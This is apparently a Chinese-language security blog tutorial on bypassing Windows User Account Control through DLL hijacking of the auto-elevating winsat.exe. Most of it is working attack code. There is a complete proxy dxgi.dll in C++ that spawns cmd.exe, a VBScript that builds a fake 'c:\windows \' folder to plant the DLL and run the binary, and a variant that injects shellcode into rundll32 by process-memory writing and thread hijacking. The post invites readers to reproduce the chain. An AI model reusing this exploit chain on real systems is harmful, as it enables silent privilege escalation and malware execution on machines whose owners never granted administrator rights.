0x11 UAC简介
用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
UAC需要授权的动作包括:
1.配置Windows Update
2.增加或删除用户账户
3.改变用户的账户类型
4.改变UAC设置
6.安装ActiveX
6.安装或移除程序
7.安装设备驱动程序
8.设置家长控制
9.将文件移动或复制到Program Files或Windows目录
10.查看其他用户文件夹
效果如下:
而UAC也是区分等级的,具体设置如下
为什么有的应用程序不需要提示UAC??
一句话解释就是因为有的可以程序可以autoElevate(自动提升)
这也是我们常用的几种uac bypass的手法之一.常见手法如下
1.白名单提权机制 - autoElevate
2.DLL 劫持
3.Windows 自身漏洞提权
4.远程注入
5.COM 接口技术
具有autoElevate属性True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软认为它是可信的。故此,在该程序启动时,将会以管理员身份启动,假设我们通过COM技术或者DLL劫持该应用程序,也能够获得管理员权限,但分析成本,利用难度也都是很高的。
0x12 BypassUAC
下面我们来查找一下具有该权限的应用程序,并利用DLL劫持的方法来bypassUAC,关于DLL劫持的原理这里不再论述,网上已经有多相关的文章了。
strings.exe -s *.exe | findstr /i autoelevate
我们最后选择了winsat.exe这个程序作为我们的劫持程序,下面就是查看该程序会加载的DLL。
发现其会加载dxgi.dll。
下面就是需要编写我们的dll了,原理如下(图来自国外)
可以通过dllexp来查看dll内的函数
你可以自行编写所需要的dll,也可以使用一些自动化工具来生成所需的dll。中间也是出了很多问题,多亏了团队的wlpz师傅的指点,我这里最后的目的就是使用dll劫持来运行一个cmd,所以最后的主要代码如下:
# include "pch.h"
#include <windows.h>
#include <Wtsapi32.h>
#pragma comment(lib, "Wtsapi32.lib")
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
FARPROC Hijack_ApplyCompatResolutionQuirking;
FARPROC Hijack_CompatString;
FARPROC Hijack_CompatValue;
FARPROC Hijack_CreateDXGIFactory;
FARPROC Hijack_CreateDXGIFactory1;
FARPROC Hijack_CreateDXGIFactory2;
FARPROC Hijack_DXGID3D10CreateDevice;
FARPROC Hijack_DXGID3D10CreateLayeredDevice;
FARPROC Hijack_DXGID3D10GetLayeredDeviceSize;
FARPROC Hijack_DXGID3D10RegisterLayers;
FARPROC Hijack_DXGIDeclareAdapterRemovalSupport;
FARPROC Hijack_DXGIDumpJournal;
FARPROC Hijack_DXGIGetDebugInterface1;
FARPROC Hijack_DXGIReportAdapterConfiguration;
FARPROC Hijack_PIXBeginCapture;
FARPROC Hijack_PIXEndCapture;
FARPROC Hijack_PIXGetCaptureState;
FARPROC Hijack_SetAppCompatStringPointer;
FARPROC Hijack_UpdateHMDEmulationStatus;
}
namespace DLLHijacker
{
HMODULE m_hModule = NULL;
DWORD m_dwReturn[17] = {0};
inline BOOL WINAPI Load()
{
TCHAR tzPath[MAX_PATH];
lstrcpy(tzPath, TEXT("dxgi"));
m_hModule = LoadLibrary(tzPath);
if (m_hModule == NULL)
return FALSE;
return (m_hModule != NULL);
}
FARPROC WINAPI GetAddress(PCSTR pszProcName)
{
FARPROC fpAddress;
CHAR szProcName[16];
fpAddress = GetProcAddress(m_hModule, pszProcName);
if (fpAddress == NULL)
{
if (HIWORD(pszProcName) == 0)
{
wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
pszProcName = szProcName;
}
ExitProcess(-2);
}
return fpAddress;
}
}
using namespace DLLHijacker;
void StartProcess()
{
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
WCHAR cmdline[] = L"cmd.exe";
CreateProcess(cmdline, NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &startInfo, &procInfo);
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DisableThreadLibraryCalls(hModule);
if(Load())
{
Hijack_ApplyCompatResolutionQuirking = GetAddress("ApplyCompatResolutionQuirking");
Hijack_CompatString = GetAddress("CompatString");
Hijack_CompatValue = GetAddress("CompatValue");
Hijack_CreateDXGIFactory = GetAddress("CreateDXGIFactory");
Hijack_CreateDXGIFactory1 = GetAddress("CreateDXGIFactory1");
Hijack_CreateDXGIFactory2 = GetAddress("CreateDXGIFactory2");
Hijack_DXGID3D10CreateDevice = GetAddress("DXGID3D10CreateDevice");
Hijack_DXGID3D10CreateLayeredDevice = GetAddress("DXGID3D10CreateLayeredDevice");
Hijack_DXGID3D10GetLayeredDeviceSize = GetAddress("DXGID3D10GetLayeredDeviceSize");
Hijack_DXGID3D10RegisterLayers = GetAddress("DXGID3D10RegisterLayers");
Hijack_DXGIDeclareAdapterRemovalSupport = GetAddress("DXGIDeclareAdapterRemovalSupport");
Hijack_DXGIDumpJournal = GetAddress("DXGIDumpJournal");
Hijack_DXGIGetDebugInterface1 = GetAddress("DXGIGetDebugInterface1");
Hijack_DXGIReportAdapterConfiguration = GetAddress("DXGIReportAdapterConfiguration");
Hijack_PIXBeginCapture = GetAddress("PIXBeginCapture");
Hijack_PIXEndCapture = GetAddress("PIXEndCapture");
Hijack_PIXGetCaptureState = GetAddress("PIXGetCaptureState");
Hijack_SetAppCompatStringPointer = GetAddress("SetAppCompatStringPointer");
Hijack_UpdateHMDEmulationStatus = GetAddress("UpdateHMDEmulationStatus");
StartProcess();
}
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
但是这里又碰上了一个问题,一般这种系统的dll都是需要权限才能更改、移动的,劫持的话就需要做一些操作,不过好在发现了一个vbs脚本,可以帮助我们来完成这个操作,免除权限问题,代码很简单,就不赘述了
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set wshshell = wscript.createobject("WScript.Shell")
' Get target binary and payload
WScript.StdOut.Write("System32 binary: ")
strBinary = WScript.StdIn.ReadLine()
WScript.StdOut.Write("Path to your DLL: ")
strDLL = WScript.StdIn.ReadLine()
' Create folders
Const target = "c:\windows \"
target_sys32 = (target & "system32\")
target_binary = (target_sys32 & strBinary)
If Not oFSO.FolderExists(target) Then oFSO.CreateFolder target End If
If Not oFSO.FolderExists(target_sys32) Then oFSO.CreateFolder target_sys32 End If
' Copy legit binary and evil DLL
oFSO.CopyFile ("c:\windows\system32\" & strBinary), target_binary
oFSO.CopyFile strDLL, target_sys32
' Run, Forrest, Run!
wshshell.Run("""" & target_binary & """")
' Clean files
WScript.StdOut.Write("Clean up? (press enter to continue)")
WScript.StdIn.ReadLine()
wshshell.Run("powershell /c ""rm -r """"\\?\" & target & """""""")
最后的效果如下
如果需要加载shellcode,可以改写里面的函数,比如变成下面这样
void StartProcess()
{
unsigned char shellcode_calc[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";
TCHAR CommandLine[] = TEXT("c:\\windows\\system32\\rundll32.exe");
CONTEXT Context;
struct _STARTUPINFOA StartupInfo;
struct _PROCESS_INFORMATION ProcessInformation;
LPVOID lpBaseAddress;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = 104;
if (CreateProcess(0, CommandLine, 0, 0, 0, 0x44, 0, 0, (LPSTARTUPINFOW)&StartupInfo, &ProcessInformation)) {
Context.ContextFlags = 1048579;
GetThreadContext(ProcessInformation.hThread, &Context);
lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0, 0x800u, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, &shellcode_calc, 0x800u, 0);
Context.Rip = (DWORD64)lpBaseAddress;
SetThreadContext(ProcessInformation.hThread, &Context);
ResumeThread(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
}
}
写在后面,当时学习该方法时,发现该作者已经整理了一份可劫持的系统表,地址如下;
https://github.com/wietze/windows-dll-hijacking/blob/master/dll_hijacking_candidates.csv
有兴趣的可以复现看看.
参考文章:
https://payloads.online/archivers/2018-12-22/1#0x12-bypass-uac%E7%9A%84%E5%87%A0%E7%A7%8D%E6%96%B9%E5%BC%8F
https://payloads.online/archivers/2020-03-02/2
https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows